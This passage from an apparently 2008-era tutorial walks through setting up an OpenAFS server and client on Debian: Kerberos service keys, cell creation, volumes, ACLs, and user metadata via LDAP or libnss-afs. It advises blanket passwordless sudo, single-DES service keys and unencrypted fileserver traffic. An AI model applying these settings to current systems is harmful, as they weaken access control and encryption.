as the Andrew File System, or AFS, in recognition of Andrew Carnegie and
Andrew Mellon, the primary benefactors of CMU. Later, AFS was supported and
developed as a product by Transarc Corporation \(now IBM Pittsburgh Labs\).
IBM branched the source of the AFS product, and made a copy of the source
available for community development and maintenance. They called the release
OpenAFS, which is practically the only "variant" of AFS used today for new
installations.

The amount of important information related to AFS is magnitudes larger than
that of, say, Kerberos or LDAP. It isn't possible to write a practical OpenAFS
Guide without simply ignoring the majority of AFS concepts and without taking
drastic shortcuts in reaching our final objective. However, this injustice
will be compensated by hooking you up with the OpenAFS idea, helping you
achieve practical results relatively quickly, and setting you underway to
properly expanding your knowledge and network setup.

AFS relies on Kerberos for authentication. A working Kerberos environment is
the necessary prerequisite, and the instructions on setting it up are found in
another article from the series, the MIT Kerberos 5 Guide.

Furthermore, in a centralized network login solution, user metadata \(Unix
user and group IDs, GECOSinformation, home directories, preferred shells,
etc.\) need to be shared in a network-aware way as well. This metadata can be
served using LDAP or `libnss-afs`. In general, LDAP is standalone and
flexible, and covered in another article from the series, the OpenLDAP Guide.
`libnss-afs` is simple and depends on the use of AFS, and covered in this
Guide.

### The role of AFS within a network

AFS' primary purpose is to serve files over the network in a robust,
efficient, reliable and fault-tolerant way.

Its secondary purpose may be to serve user meta information through `libnss-
afs`, unless you choose OpenLDAPfor the purpose as explained in another
article from the series, the OpenLDAP Guide.

While the idea of a distributed file system is not unique, let's quickly
identify some of the AFS specifics:

  * AFS offers a client-server architecture for transparent file access in a common namespace \(`/afs/`\) anywhere on the network. This principle has been nicely illustrated by one of the early AFS slogans "Where ever you go, there you are\!". 
  * AFS uses Kerberos 5 as an authentication mechanism, and without a valid Kerberos ticket and AFS token, it is virtually impossible to gain any privileged access to the AFS data space, even if you happen to be the server or network administrator. 
  * User's AFS identity is not in any way related to traditional system usernames or other data; AFS Protection Database \(PTS\) is a stand-alone database of AFS usernames and groups. However, since Kerberos 5 is used as an authentication mechanism, provision is made to automatically "map" Kerberos principal names onto PTS entries. 
  * AFS does not "export" existing data partitions to the network in a way that NFS does. AFS requires partitions to be dedicated to AFS use only. On AFS partitions, one creates "volumes" which represent basic client-accessible units and hold files and directories. Accessing files in a volume  _directly_ is a no-go — one must to use the AFS client to read and write files, even locally on the server where they are stored. 
  * To become accessible, AFS volumes must be mounted somewhere in the AFS namespace \(`/afs/`\). The "mounts" are handled internally in AFS — they are not affected by client or server reboots and they do not correspond to Unix mount points. The only Unix mount point defined in AFS is for the `/afs/` directory itself. 
  * AFS supports a far more elaborate and convenient permissions system \(AFS ACL\) than the traditional Unix "rwx" modes. The permissions are more fine-grained and can be defined individually for as many users and groups as necessary. IP-based ACLs are available as well, for the rare cases where you might have no other option. 
ACLs are set on directories and apply to all contained and newly created
files. Sub-directories may, of course, set their own ACLs. As of summer 2008,
there have been plans to support file-based ACLs as well, as part of the
Google Summer of Code 2008 initiative.

  * AFS is available for a broad range of architectures and software platforms. You can obtain an up-to-date AFS release for IBM AIX, HP/UX, SGI Irix, MacOS X, Sun Solaris, all Linux platforms, and Microsoft Windows. 
  * OpenAFS comes in two main releases, 1.4.x and 1.5.x. The 1.4 "maintenance" release is the recommended production version for Unix and MacOS platforms. The 1.5 "features" release is the recommended production version for Microsoft Windows. The versions are completely interoperable and you can freely mix 1.4 and 1.5 releases. 
  * The OpenAFS website and documentation seem out of date at first, but they do contain all the information you need. 
  * AFS is enterprise-grade and mature. Books about AFS written 10 or 15 years ago are still authoritative today, plus/minus a few inevitable changes and improvements. 

You can find the complete AFS documentation at the OpenAFS website. After
grasping the basic concepts, your most helpful resources will be quick `help`
options supported in all commands, such as in **fs help** , **vos help** ,
**pts help** or **bos help**.

## Glue layer: integrating AFS with system software

### PAM

On all GNU/Linux-based platforms, Linux-PAM is available for service-specific
authentication configuration.Linux-PAM is an implementation of PAM
\("`Pluggable Authentication Modules`"\) from Sun Microsystems.

Network services, instead of having hard-coded authentication interfaces and
decision methods, invoke PAM through a standard, pre-defined interface. It is
then up to PAM to perform any and all authentication-related work, and report
the result back to the application.

Exactly how PAM reaches the decision is none of the service's business. In
traditional set-ups, that is most often done by asking and verifying usernames
and passwords. In advanced networks, that could be Kerberos tickets and AFS
tokens.

PAM will allow for inclusion of OpenAFS into the authentication path of all
services. After typing in your password, it will be possible to verify the
password against the Kerberos database and automatically obtain the Kerberos
ticket and AFS token, without having to run **kinit** and **aklog** manually.

You can find the proper introduction \(and complete documentation\) on the
Linux-PAM website. Pay special attention to the PAM Configuration File Syntax
page. Also take a look at the Linux-PAM\(7\) and pam\(7\) manual pages.

## Conventions

It's quite disappointing when you are not able to follow the instructions
found in the documentation. Let's agree on a few points before going down to
work:

  * Our platform of choice, where we will demonstrate a practical setup, will be Debian GNU. 
  * Install sudo. Sudo is a program that will allow you to carry out system administrator tasks from your normal user account. All the examples in this article requiring root privileges use sudo, so you will be able to copy-paste them to your shell. 
[code]    su -c 'apt-get install sudo'

    
    
[/code]

If asked for a password, type in the root user's password.

To configure sudo, add the following line to your `/etc/sudoers`, replacing
`$USERNAME` with your login name:

[code]    $USERNAME ALL=(ALL) NOPASSWD: ALL

    
    
[/code]

  * Debian packages installed during the procedure will ask us a series of questions through the so-called _debconf_ interface. To configure debconf to a known state, run: 
[code]    sudo dpkg-reconfigure debconf

    
    
[/code]

When asked, answer  _interface_ =`Dialog` and  _priority_ =`low`.

  * Monitoring log files is crucial in detecting problems. The straight-forward, catch-all routine to this is opening a terminal and running: 
[code]    cd /var/log; sudo tail -F daemon.log sulog user.log auth.log debug
kern.log syslog dmesg messages \

      kerberos/{krb5kdc,kadmin,krb5lib}.log openafs/{Bos,File,Pt,Salvage,VL,Volser}Log
    
    
[/code]

The command will keep printing log messages to the screen as they arrive.

  * Our test system will be called `monarch.spinlock.hr` and have an IP address of `192.168.7.12`. Both the server and the client will be installed on the same machine. However, to differentiate between client and server roles, the client will be referred to as `monarch.spinlock.hr` and the server as `afs1.spinlock.hr`. The following addition will be made to `/etc/hosts` to completely support this scheme: 
[code]    _192.168.7.12_      _monarch.spinlock.hr_ _monarch_
krb1._spinlock.hr_ krb1 ldap1._spinlock.hr_ ldap1 afs1._spinlock.hr_ afs1

    
    
[/code]

## OpenAFS server

### OpenAFS kernel module

The only meaningful way to access data in AFS is through an AFS client. That
means you will need the OpenAFS kernel module built and running on all AFS
systems, including servers.

Building a kernel module through `module-assistant` is an extremely simple and
elegant way to not have to deal with any of the complexities behind the
scenes; after the following set of commands executes successfully, you will
have the kernel module build as a Debian package and installed onto the
system:

[code]

    sudo apt-get install module-assistant
    sudo m-a prepare openafs
    sudo m-a a-i openafs
    
    
[/code]

### OpenAFS installation

After the kernel module is installed, we can proceed with installing the rest
of the OpenAFS server software:

[code]

    sudo apt-get install openafs-{fileserver,dbserver,client,krb5}
    
    
[/code]

Debconf answers for reference:

[code]

    AFS cell this workstation belongs to: **_spinlock.hr_**
    # (Your domain name in lowercase, matching the Kerberos realm in uppercase)
    
    Size of AFS cache in kB? **_4000000_**
    # (Default value is 50000 for 50 MB, but you can greatly increase the
    # size on modern systems to a few gigabytes, with 20000000 (20 GB) being
    # the upper reasonable limit)
    
    Run Openafs client now and at boot? **No**
    # (It is important to say NO at this point, or the client will try to 
    # start without the servers in place)
    
    Look up AFS cells in DNS? **Yes**
    
    Encrypt authenticated traffic with AFS fileserver? **No**
    # (OpenAFS client can encrypt the communication with the fileserver. The
    # performance hit is not too great to refrain from using encryption, but
    # generally, disable it on local and trusted-connection clients, and enable
    # it on clients using insecure channels)
    
    Dynamically generate the contents of /afs? **No**
    
    Use fakestat to avoid hangs when listing /afs? **Yes**
    
    Cell this server serves files for: **_spinlock.hr_**
    
    DB server host names for your home cell: **_afs1_**
    # (Before continuing, make sure you've edited your DNS configuration or 
    # /etc/hosts file as mentioned above in the section "Conventions", and that
    # the command 'ping afs1' really does successfully ping your server)
    
    
[/code]

### Pre-configuration

#### Local cache

OpenAFS cache directory on AFS clients is `/var/cache/openafs/`. \(Note that
this includes your AFS servers too, as they all have AFS client software
installed\).

**The cache directory must be on an Ext2 or Ext3 filesystem partition**. In
case it is, you just have to ensure there's enough disk space on the
partition.

In case it is not, in case you're using a different filesystem for `/var/` or
`/var/cache/`, then you need to mount an Ext partition or file onto
`/var/cache/openafs/`.

#### Kerberos principal

As Kerberos introduces mutual authentication of users and services, we need to
create a Kerberos principal for our AFS service. \(In general, the way it's
done with Kerberos is by creating a separate principal for each of the server
machines. But AFS shares the key among all AFS servers, and so we must create
just one key\).

The transcript below assumes you've set up Kerberos and created policy
`service` as explained in the MIT Kerberos 5 Guide; if you did not, do so
right now as Kerberos is the necessary prerequisite.

[code]

    **sudo rm -f /tmp/afs.keytab**
    
    **sudokadmin.local**
    
    Authenticating as principal root/admin@_SPINLOCK.HR_ with password.
    
    kadmin.local:  **addprinc -policy service -randkey -e des-cbc-crc:v4 afs**
    Principal "afs@_SPINLOCK.HR_ " created.
    
    kadmin.local:  **ktadd -k /tmp/afs.keytab -e des-cbc-crc:v4 afs**
    Entry for principal afs with kvno 3, encryption type DES cbc mode with CRC-32 added to keytab WRFILE:/tmp/afs.keytab.
    
    kadmin.local:  **quit**
    
    
[/code]

Once the key's been created and exported to file `/tmp/afs.keytab` as shown,
we need to load it into the AFS KeyFile. Note that the number "`3`" in the
following command is the key version number, which has to match KVNO reported
in the 'ktadd' step above.

[code]

    sudo asetkey add 3 /tmp/afs.keytab afs
    
    
[/code]

To verify the key has been loaded and that there is only one key in the AFS
KeyFile, run **bos listkeys** :

[code]

    **sudo bos listkeys afs1 -localauth**
    
    key _3_ has cksum _2035850286_
    Keys last changed on _Tue Jun 24 14:04:02 2008_.
    All done.
    
    
[/code]

In case there's something wrong and you want to remove keys from the KeyFile,
run **bos help** for a list of available commands and **bos help
_`command`_** for command-specific usage information.

#### AFS partitions

As we've hinted in the introduction, AFS works by using its own dedicated
partitions. Each server can have up to 256 partitions which should be mounted
to directories named `/vicepXX/`, where "XX" is the partition "number" going
from 'a' to 'z' and from 'aa' to 'iv'.

In a simple scenario, we will have only one partition which you should format
as Ext3 and mount onto `/vicepa/`.  

In case you do not have a separate partition ready, simply creating the
directory `/vicepa/` in your root partition will do. Creating `/vicepa/` in
your existing partition is possible because AFS does not use its own low-level
format for the partitions — it saves data to vice partitions using normal
filesystem calls. \(As said, that data is structured in a way meaningful only
to AFS, but it is there in the filesystem and you are able to browse around it
using **cd** and **ls**\).

### Creating a new cell

Now that we've installed the software components that make up the OpenAFS
server and that we've taken care of the pre-configuration steps, we can create
an actual AFS cell.

### Important

The **afs-newcell** script, which is used to create a new cell, needs a simple
fix in version `1.4.7.dfsg1-2` before it can be used to create a new cell \(a
bug about it has been open under BTS \#488152\).

Russ Allbery has promptly fixed the problem as usual, but to make sure there
is no problem in your script, the following oneliner can be ran on any version
of **afs-newcell** without adverse effects:

[code]

    sudo perl -pi -e 's/(-time never -general)(?! -localauth)/$1 -localauth/' /usr/sbin/afs-newcell
    
    
[/code]

Let's run `afs-newcell`:

[code]

    **sudo afs-newcell**
    
                                Prerequisites
    
    In order to set up a new AFS cell, you must meet the following:
    
    1) .....
    
    2) .....
    
    3) .....
    
    4) .....
    
    5) .....
    
    Do you meet these requirements? [y/n] **y**
    
    If the fileserver is not running, this may hang for 30 seconds.
    /etc/init.d/openafs-fileserver stop
    
    What administrative principal should be used? **root/admin**
    
    /etc/openafs/server/CellServDB already exists, renaming to .old
    /etc/init.d/openafs-fileserver start
    Starting OpenAFS BOS server: bosserver.
    bos adduser afs._spinlock.hr_ root -localauth
    
    Creating initial protection database.  This will print some errors
    about an id already existing and a bad ubik magic.  These errors can
    be safely ignored.
    
    pt_util: /var/lib/openafs/db/prdb.DB0: Bad UBIK_MAGIC. Is 0 should be 354545
    Ubik Version is: 2.0
    
    bos create afs1._spinlock.hr_ ptserver simple /usr/lib/openafs/ptserver -localauth
    bos create afs1._spinlock.hr_ vlserver simple /usr/lib/openafs/vlserver -localauth
    bos create afs1._spinlock.hr_ fs fs -cmd '/usr/lib/openafs/fileserver -p 23 -busyat 600 \
      -rxpck 400 -s 1200 -l 1200 -cb 65535 -b 240 -vc 1200' -cmd /usr/lib/openafs/volserver \
      -cmd /usr/lib/openafs/salvager -localauth
    bos setrestart afs1._spinlock.hr_ -time never -general -localauth
    Waiting for database elections: done.
    vos create afs1._spinlock.hr_ a root.afs -localauth
    Volume 536870915 created on partition /vicepa of afs._spinlock.hr_
    /etc/init.d/openafs-client force-start
    Starting AFS services: afsd.
    afsd: All AFS daemons started.
    
    Now, get tokens as root in the _spinlock.hr_ cell.
    Then, run afs-rootvol.
    
    
[/code]

Now that our AFS cell is created, remember we've said volumes are the basic
units accessible by AFS clients. By convention, each AFS cell creates the
first volume called `root.afs`.

So according to the advice printed at the end of **afs-newcell** run, we need
to obtain the AFS administrator token and then run **afs-rootvol** :

[code]

    **kinit root/admin; aklog**
    
    Password for root/admin@_SPINLOCK.HR_ : **_PASSWORD_**
    
    **afs-rootvol**
    
                                Prerequisites
    
    In order to set up the root.afs volume, you must meet the following
    pre-conditions:
    
    1) .....
    
    2) .....
    
    3) .....
    
    4) The AFS client must be running pointed at the new cell.
    Do you meet these conditions? (y/n) **y**
    
    You will need to select a server (hostname) and AFS partition on which to
    create the root volumes.
    
    What AFS Server should volumes be placed on? **afs1**
    What partition? [a] **a**
    
    vos create afs1 a root.cell -localauth
    Volume 536870918 created on partition /vicepa of afs1
    fs sa /afs system:anyuser rl
    fs mkm /afs/_spinlock.hr_ root.cell -cell _spinlock.hr_ -fast || true
    fs mkm /afs/grand.central.org root.cell -cell grand.central.org -fast || true
    .....
    .....
    .....
    .....
    .....
    fs sa /afs/_spinlock.hr_ system:anyuser rl
    fs mkm /afs/._spinlock.hr_ root.cell -cell _spinlock.hr_ -rw
    fs mkm /afs/.root.afs root.afs -rw
    vos create afs1 a user -localauth
    Volume 536870921 created on partition /vicepa of afs1
    fs mkm /afs/_spinlock.hr_ /user user 
    fs sa /afs/_spinlock.hr_ /user system:anyuser rl
    vos create afs1 a service -localauth
    Volume 536870924 created on partition /vicepa of afs1
    fs mkm /afs/_spinlock.hr_ /service service 
    fs sa /afs/_spinlock.hr_ /service system:anyuser rl
    ln -s _spinlock.hr_ /afs/spinlock
    ln -s ._spinlock.hr_ /afs/.spinlock
    vos addsite afs1 a root.afs -localauth
    Added replication site afs /vicepa for volume root.afs1
    vos addsite afs1 a root.cell -localauth
    Added replication site afs1 /vicepa for volume root.cell
    vos release root.afs -localauth
    Released volume root.afs successfully
    vos release root.cell -localauth
    Released volume root.cell successfully
    
    
[/code]

Woohoo\! You've got yourself one  _helluva_ OpenAFS cell.

### Post-configuration

If you remember, during the AFS installation phase, we've answered "No" to the
question "Run OpenAFS client now and at boot?". AFS init script is such that
it just won't run the client as long as the client startup is disabled in the
config file — even if you invoke **`sudo invoke-rc.d openafs-client start`**
manually. Therefore, we now have to enable the client in
`/etc/openafs/afs.conf.client` by replacing `AFS_CLIENT=false` with
`AFS_CLIENT=true`:

[code]

    sudo perl -pi -e's/AFS_CLIENT=false/AFS_CLIENT=true/' /etc/openafs/afs.conf.client
    sudo invoke-rc.d openafs-client start
    
    
[/code]

Finally, let's drop any tokens or tickets that we may have initialized, to
continue with a clean slate:

[code]

    unlog; kdestroy
    
    
[/code]

All set. You should now have the basic AFS environment working.

## Accessing the files

While the whole point of AFS is in accessing files remotely, remember that all
AFS servers are also regular AFS clients. So let's explain the AFS directory
structure a bit and then use our just-installed server to look at the actual
contents of the `/afs/` directory.

As we've hinted in the section called “Introduction”, AFS uses a global
namespace. That means all AFS sites are instantly accessible from `/afs/` as
if they were local directories, and all files have a unique AFS path. For
example, file `/afs/_`spinlock.hr`_ /service/test` will always be
`/afs/_`spinlock.hr`_ /service/test`, no matter the client, operating system,
local policy or geographical location.

In order to avoid clashes in this global AFS namespace, by convention, each
cell's "AFS root" starts in`/afs/_`domain.name`_ /`.

### Basic listing and information

Let's list `/afs/` directory contents to verify what we've just said about AFS
cells and their mount points:

[code]

    **cd /afs**
    
    **ls | head**
    1ts.org
    acm-csuf.org
    acm.uiuc.edu
    ams.cern.ch
    andrew.cmu.edu
    anl.gov
    asu.edu
    athena.mit.edu
    atlass01.physik.uni-bonn.de
    atlas.umich.edu
    
    **ls | wc -l**
    
    189
    
    
[/code]

The 189 directories were automatically created by the **afs-rootvol** script,
but you can create additional and remove existing mount points \(AFS mount
points\) at will.

With the above said, we can predict AFS has created our own directory in
`/afs/_`spinlock.hr`_ /`. This directory is only visible automatically within
the local cell and is not seen by the world in **`ls /afs`** listing.

Now that we're in AFS land, we can quickly get some more AFS-specific
information on `/afs/_`spinlock.hr`_ /`:

[code]

    **fs lsm /afs/_spinlock.hr_**
    
    '/afs/_spinlock.hr_ ' is a mount point for volume '#_spinlock.hr_ :root.cell'
    
    **fs lv /afs/_spinlock.hr_**
    
    File /afs/_spinlock.hr_ (536870919.1.1) contained in volume 536870919
    Volume status for vid = 536870919 named root.cell.readonly
    Current disk quota is 5000
    Current blocks used are 4
    The partition has 89573 blocks available out of 94030
    
    
[/code]

### Read and write paths, replication

Each time you mount a volume, you can mount it read-write or read-only.

Read-write mounts are simple — reads and writes are done through the same
filesystem path, such as`/afs/_`spinlock.hr`_ /common/testfile`, and are
serviced by the volume's host server.

Read-only mounts make things interesting — volumes may have up to 8 read-only
replicas and clients will retrieve files from the "best" source. However, that
brings two specifics:  
First, as the read-only mount is read-only by definition, there exists a
different file path \(prefixed with a dot\) for accessing the data in a read-
write fashion.  
Second, data changes in the read-write tree don't show up in the read-only
tree until you "release" volume contents with the **vos release** command.

As said, read-write paths for read-only mounts are prefixed by a leading dot.
Let's verify this:

[code]

    **lsm /afs/_spinlock.hr_**
    
    '/afs/_spinlock.hr_ ' is a mount point for volume '#_spinlock.hr_ :root.cell'
    
    **lsm /afs/._spinlock.hr_**
    
    '/afs/._spinlock.hr_ ' is a mount point for volume '%_spinlock.hr_ :root.cell'
    
    
[/code]

### Reading and writing

Equipped with the above absolute basics, let's visit `/afs/_`spinlock.hr`_ /`,
look around, and then try to read and write files.

[code]

    **cd /afs/_spinlock.hr_**
    
    **ls -al**
    
    total 14
    drwxrwxrwx 2 root root 2048 2008-06-25 02:05 .
    drwxrwxrwx 2 root root 8192 2008-06-25 02:05 ..
    drwxrwxrwx 2 root root 2048 2008-06-25 02:05 service
    drwxrwxrwx 2 root root 2048 2008-06-25 02:05 user
    
    **echo TEST > testfile**
    
    -bash: testfile: Read-only file system
    
    **cd ../._spinlock.hr_**
    
    **echo TEST > testfile**
    
    -bash: testfile: Permission denied
    
    
[/code]

Good. Let's list access permissions \(AFS ACL\) for the directory, and then
obtain AFS admin privileges that will allow us to write files. Note that we
first establish our Kerberos identity using **kinit** , and then obtain the
matching AFS token using **aklog**. **Aklog** obtains a token automatically
and without further prompts, on the basis of the existing Kerberos ticket.

[code]

    **cd /afs/._spinlock.hr_**
    
    **fs la .**
    
    Access list for . is
    Normal rights:
      system:administrators rlidwka
      system:anyuser rl
    
    **kinit root/admin; aklog**
    
    Password for root/admin@_SPINLOCK.HR_ : **_PASSWORD_**
    
    **klist -5**
    
    Ticket cache: FILE:/tmp/krb5cc_0
    Default principal: root/admin@_SPINLOCK.HR_
    
    Valid starting     Expires            Service principal
    06/29/08 19:38:05  06/30/08 05:38:05  krbtgt/_SPINLOCK.HR_ @_SPINLOCK.HR_
            renew until 06/30/08 19:38:05
    06/29/08 19:38:12  06/30/08 05:38:05  afs@_SPINLOCK.HR_
            renew until 06/30/08 19:38:05
    
    **tokens**
    
    Tokens held by the Cache Manager:
    
    User's (AFS ID 1) tokens for afs@_spinlock.hr_ [Expires Jun 30 05:38]
       --End of list--
    
    
[/code]

At this point, writing the file succeeds:

[code]

    **echo TEST > testfile**
    
    **cat testfile**
    
    TEST
    
    
[/code]

Let's list volume data size quota and increase it from the default 5 MB to 100
MB:

[code]

    **fs lq**
    
    Volume Name                   Quota      Used %Used   Partition
    root.cell                      5000        28    1%         38% 
    
    **fs sq . 100000**
    
    **fs lq**
    
    Volume Name                   Quota      Used %Used   Partition
    root.cell.readonly           100000        28    1%         38% 
    
    
[/code]

### Creating users

As seen in the previous chapter, you authenticate to Kerberos using **kinit**
and then to AFS using **aklog**.

We're dealing with two separate authentication databases here — the Kerberos
database and the AFS "Protection Database" or PTS.

That means all users have to exist in both Kerberos and AFS if they want to
access AFS data space in an authenticated fashion. The only reason we did not
have to add `root/admin` user to AFS PTS is because this was done
automatically by the virtue of **afs-newcell**.

So let's add a regular AFS user. We're going to add user "`mirko`", which
should already exist in Kerberos if you've followed the MIT Kerberos 5 Guide,
section "Creating first unprivileged principal". Make sure you hold the
administrator Kerberos ticket and AFS token, and then execute:

[code]

    **pts createuser _mirko_ _20000_**
    
    User _mirko_ has id _20000_
    
    
[/code]

You will notice that Kerberos and AFS do not require any use of **sudo**.
\(Actually, we do use sudo to invoke Kerberos' **`sudokadmin.local`**, but
that's only because we want to access the local Kerberos database directly on
a file level\). Kerberos and AFS privileges are determined solely by tickets
and tokens one has obtained, and have nothing to do with traditional Unix
privileges nor are tied to certain usernames or IDs.

### Creating and mounting volumes

Now that we have a regular user "_`mirko`_ " created in both Kerberos and AFS,
we want to create an AFS data volume that will correspond to this user and be
"mounted" in the location of the user's home directory in AFS.

Make sure you still hold the administrator Kerberos ticket and AFS token, and
then execute:

[code]

    **vos create afs1 a user._mirko_ _200000_**
    
    Volume _536997357_ created on partition /vicepa of afs1
    
    **vos examine user._mirko_**
    
    user._mirko_                        _536997357_ RW          2 K  On-line
        afs1._spinlock.hr_ /vicepa 
        RWrite  _536997357_ ROnly          0 Backup          0 
        MaxQuota     _200000_ K 
        Creation    Sun Jun 29 18:06:43 2008
        Copy        Sun Jun 29 18:06:43 2008
        Backup      Never
        Last Update Never
    
        RWrite: _536997357_
        number of sites -> 1
           server afs1._spinlock.hr_ partition /vicepa RW Site 
    
    
[/code]

Having the volume, let's mount it to a proper location. We will use a "hashed"
directory structure with two sublevels, so that the person's home directory
will be in `/afs/_`spinlock.hr`_ /user/_`p`_ /_`pe`_ /_`person`_ /` \(instead
of directly in `user/_`person`_ /`\). Follow this AFS convention and you will
be able to use `libnss-afs` and 3rd party management scripts without
modification.

[code]

    **cd /afs/_spinlock.hr_ /user**
    
    **mkdir -p _m_ /_mi_**
    
    **fs mkm _m_ /_mi_ /_mirko_ user._mirko_ -rw**
    
    
[/code]

Let's view volume and directory information:

[code]

    **fs lsm _m_ /_mi_ /_mirko_**
    
    '_m_ /_mi_ /_mirko_ ' is a mount point for volume '#user._mirko_ '
    
    **fs lv _m_ /_mi_ /_mirko_**
    
    File _m_ /_mi_ /_mirko_ (_536997357.1.1_) contained in volume _536997357_
    Volume status for vid = _536997357_ named user._mirko_
    Current disk quota is _200000_
    Current blocks used are 2
    The partition has 85448567 blocks available out of 140861236
    
    
[/code]

### Setting permissions

Let's view the permissions on the new directory and allow user full access:

[code]

    **fs la _m_ /_mi_ /_mirko_**
    
    Access list for _m_ /_mi_ /_mirko_ is
    Normal rights:
      system:administrators rlidwka
    
    **fs sa _m_ /_mi_ /_mirko_ _mirko_ all**
    
    **fs la !:2**
    
    Access list for _m_ /_mi_ /_mirko_ is
    Normal rights:
      system:administrators rlidwka
      mirko rlidwka
    
    
[/code]

Now switch to user  _`mirko`_ and verify you've got access to the designated
home directory:

[code]

    **unlog; kdestroy**
    
    **kinit _mirko_ ; aklog**
    
    Password for _mirko_ @_SPINLOCK.HR_ : **_PASSWORD_**
    
    **cd /afs/_spinlock.hr_ /user/_m_ /_mi_ /_mirko_**
    
    **echo IT WORKS > test**
    
    **cat test**
    
    IT WORKS
    
    
[/code]

## Serving metadata

The material covered so far in the MIT Kerberos 5 Guide and this OpenAFS Guide
has gotten us to a point where we can create users in Kerberos and AFS, create
and mount users' data volumes, authenticate using **kinit** and**aklog** , and
read and write files in the users' volumes with full permissions.

In other words, it smells as if we're a step away from our goal — a true
networked and secure solution for centralized logins with exported home
directories.

There's one final thing missing, and it's the support for serving user
"metadata". As explained in the section called “Introduction”, metadata will
come from either LDAP or `libnss-afs`.

If you've followed and implemented the setup described in the OpenLDAP Guide,
you already have the metadata taken care of. However, let's say a few words
about it anyway to broaden our horizons.

Metadata is the information traditionally found in system files `/etc/passwd`,
`/etc/group` and `/etc/shadow`.

Metadata necessary for a successful user login includes four elements: Unix
user ID, Unix group ID, home directory and shell.

Let's take a look at a complete list of user metadata, with a list of software
components that handle them in parentheses:

  * Username \(all\) 
  * Password \(Kerberos\) 
  * User ID \(LDAP or `libnss-afs`\) 
  * Group ID and group membership \(LDAP\) 
  * GECOS information \(LDAP\) 
  * Home directory \(LDAP\) 
  * Preferred shell \(LDAP or `libnss-afs`\) 
  * Group membership \(LDAP\) 
  * Password aging \(Kerberos\) 

You may notice LDAP seems like a "superset" of `libnss-afs`. And it really is,
which can be an advantage or a disadvantage, depending on the situation.

LDAP is a standalone solution that can be used to create network
infrastructures based on the "magic trio" — Kerberos, LDAP and AFS. It is
flexible and can serve arbitrary user and system information besides the
necessary metadata. Can you think of a few examples how this would be useful?
For example, on a lower level, you could use LDAP to store extra group
membership information or per-user host access information; on a higher level,
you could use LDAP to store a person's image, birth date, or a shared calendar
available to all user applications. However, this flexibility comes at a cost
of administering yet another separate database \(Kerberos, AFS and LDAP all
have their own database, and you have to keep them synchronized\).

`libnss-afs`, on the other hand, is an AFS-dependent module that serves the
metadata out of the AFS PTS database. It is simple, and limited. Structure of
the PTS is such that you can only save certain information in there, and
nothing else. For fields that cannot be represented in PTS, `libnss-afs`
outputs a "one size fits all" default value. For example, as there is no space
for GECOS information in the PTS, everyone's GECOS is set to their username;
as there is no group ID, everyone's group ID is set to group `65534
(nogroup)`, and as there is no home directory, everyone's homedir is set to
`/afs/_`cell.name`_ /user/_`u`_ /_`us`_ /_`user`_ /`. `libnss-afs` may suit
those who prefer simplified administration over flexibility.

In this Guide, both LDAP and `libnss-afs` approach will be explained. Moving
from `libnss-afs` to LDAP is easy, so if in doubt, pick `libnss-afs`.

### LDAP

A complete LDAP setup is explained in another article from the series, the
OpenLDAP Guide. If you have followed and implemented the procedure, especially
the part about modifying `/etc/nsswitch.conf`, there's only one thing that
should be done here — you should modify users' entries in LDAP to make their
home directories point to AFS instead of to `/home/`.

Actually, you can symlink `/home/` to AFS, and then no change in LDAP will be
necessary. One benefit of this approach is that `/home/` looks familiar to
everyone. One drawback is that you need to symlink that directory to AFS on
all machines where users will be logging in.

To create the symlinks, use:

[code]

    sudo mv /home /home,old
    sudo ln -sf /afs/._spinlock.hr_ /user /home
    sudo ln -sf /afs/_spinlock.hr_ /user /rhome
    
    
[/code]

To literally change users' home directories in LDAP \(to point to
`/afs/_`spinlock.hr`_ /user/_`u`_ /_`us`_ /_`user`_ /`\), construct a LDIF
file and use **ldapmodify** to apply the LDIF file.

Here's an example for user `mirko` \(which should already exist in your LDAP
directory if you've followed theOpenLDAP Guide Guide\). Save the following as
`/tmp/homechange.ldif`:

[code]

    dn: uid=_mirko_ ,ou=people,dc=_spinlock_ ,dc=_hr_
    changetype: modify
    replace: homeDirectory
    homeDirectory: /afs/_spinlock.hr_ /user/_m_ /_mi_ /_mirko_
    
    
[/code]

And apply using:

[code]

    ldapmodify -c -x -D cn=admin,dc=_spinlock_ ,dc=_hr_ -W -f /tmp/homechange.ldif
    
    
[/code]

### libnss-afs

As said, libnss-afs is an AFS-dependent approach to serving metadata, so it
only makes sense to describe it in the context of the OpenAFS Guide.

Adam Megacz created `libnss-afs` on the basis of Frank Burkhardt's `libnss-
ptdb`, which in turn was created on the basis of Todd M. Lewis' `nss_pts`. The
primary motivation for `libnss-afs` has been the use at HCoop, the first non-
profit corporation offering public AFS hosting and accounts.

Good. Let's move onto the technical setup:

It is strongly recommended to run `libnss-afs` in combination with **nscd**
and cache the replies from the AFS`ptserver`, so let's install **nscd** first
and change one of its config options to work around a known bug in nscd:

[code]

    **sudo apt-get install nscd**
    
    **sudo perl -pi -e '/^\s*enable-cache\s+hosts\s+yes\s*/ and $_ = "enable-cache hosts no\n"' /etc/nscd.conf**
    
    **sudo invoke-rc.d nscd restart**
    
    
[/code]

Now let's install `libnss-afs` itself, which is — interestingly enough —
accessible in AFS, in the cell `hcoop.net`. You should have a working AFS
client by now to access the files.

What we've covered so far should be enough to allow you understand what will
be going on in the following transcript. In short, we will need to create
`/afs/hcoop.net/` before we can access the files in the cell, and the
procedure will be a bit longer then normal mount because our AFS root is read-
only. In any case, our goal here is just accessing the `libnss-afs`
repository, so copy-paste our working example don't spend too much time
deciphering the procedure.

[code]

    **unlog; kdestroy**
    
    **kinit root/admin; aklog**
    
    Password for root/admin@_SPINLOCK.HR_ : **_PASSWORD_**
    
    **sudo sh -c 'echo -e ">hcoop.net\n69.90.123.67 #deleuze.hcoop.net" >> /etc/openafs/CellServDB'**
    
    **cd /afs/_spinlock.hr_ /service**
    
    **fs mkm tmp root.afs -rw**
    
    **cd tmp**
    
    **fs mkmhcoop.net root.cell -cell hcoop.net -fast**
    
    **cd ..**
    
    **vos release root.cell**
    
    **fs rmm tmp**
    
    
[/code]

Now `/afs/hcoop.net/` will exist and we can access the `libnss-afs` package:

[code]

    **cd /afs/hcoop.net/user/m/me/megacz/public/libnss-afs**
    
    **sudo dpkg -i libnss-afs*deb**
    
    
[/code]

The directory contains `libnss-afs` sources as well. In case you need to
recompile them and build Debian packages yourself, here's a guideline:

[code]

    **cp -a /afs/hcoop.net/user/m/me/megacz/public/libnss-afs/libnss-afs /tmp**
    
    **cd /tmp/libnss-afs**
    
    **dpkg-buildpackage -uc -us**
    
    **sudo dpkg -i ../libnss-afs*deb**
    
    
[/code]

